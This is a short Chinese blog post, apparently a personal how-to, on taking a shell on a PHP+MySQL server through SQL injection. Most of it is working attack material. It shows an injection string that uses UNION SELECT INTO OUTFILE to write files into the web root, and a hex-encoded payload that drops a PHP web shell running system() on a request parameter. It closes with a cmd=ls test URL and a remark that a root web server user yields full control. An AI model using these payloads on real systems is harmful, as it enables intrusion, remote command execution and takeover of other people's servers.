因某服务器ssh连不上去了,遂萌发通过漏洞来拿取shell,进而备份资料的想法。进过尝试,总结出以下通过PHP + MYSQL 注入攻击拿SHELL的方法

原始PHP代码

$sql = “SELECT thevalue FROM xxx WHERE thekey=’”.$key.”’ LIMIT 3″;

注入的SQL组合完整的样子

SELECT thevalue FROM xxx WHERE thekey=” UNION SELECT ‘dyf’  INTO OUTFILE ‘/var/www/dyf.txt’#’ LIMIT 3

注入内容

‘ UNION SELECT ‘dyf’  INTO OUTFILE ‘/var/www/dyf.txt’#

其中的#号是起注释作用,把Limit 3注释掉

在页面写入的php的shell

‘ UNION SELECT ‘0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E’ INTO OUTFILE ‘/var/www/dyf.php’%23

测试是否成功

浏览器中访问看是否成功

URL:http://xxx/dyf.php?cmd=ls

列出目录即成功拿到SHELL,可以通过whoami来查看当前运行apache的用户,如果是root就可以获取控制权了

发表评论

电子邮件地址不会被公开。 必填项已用*标注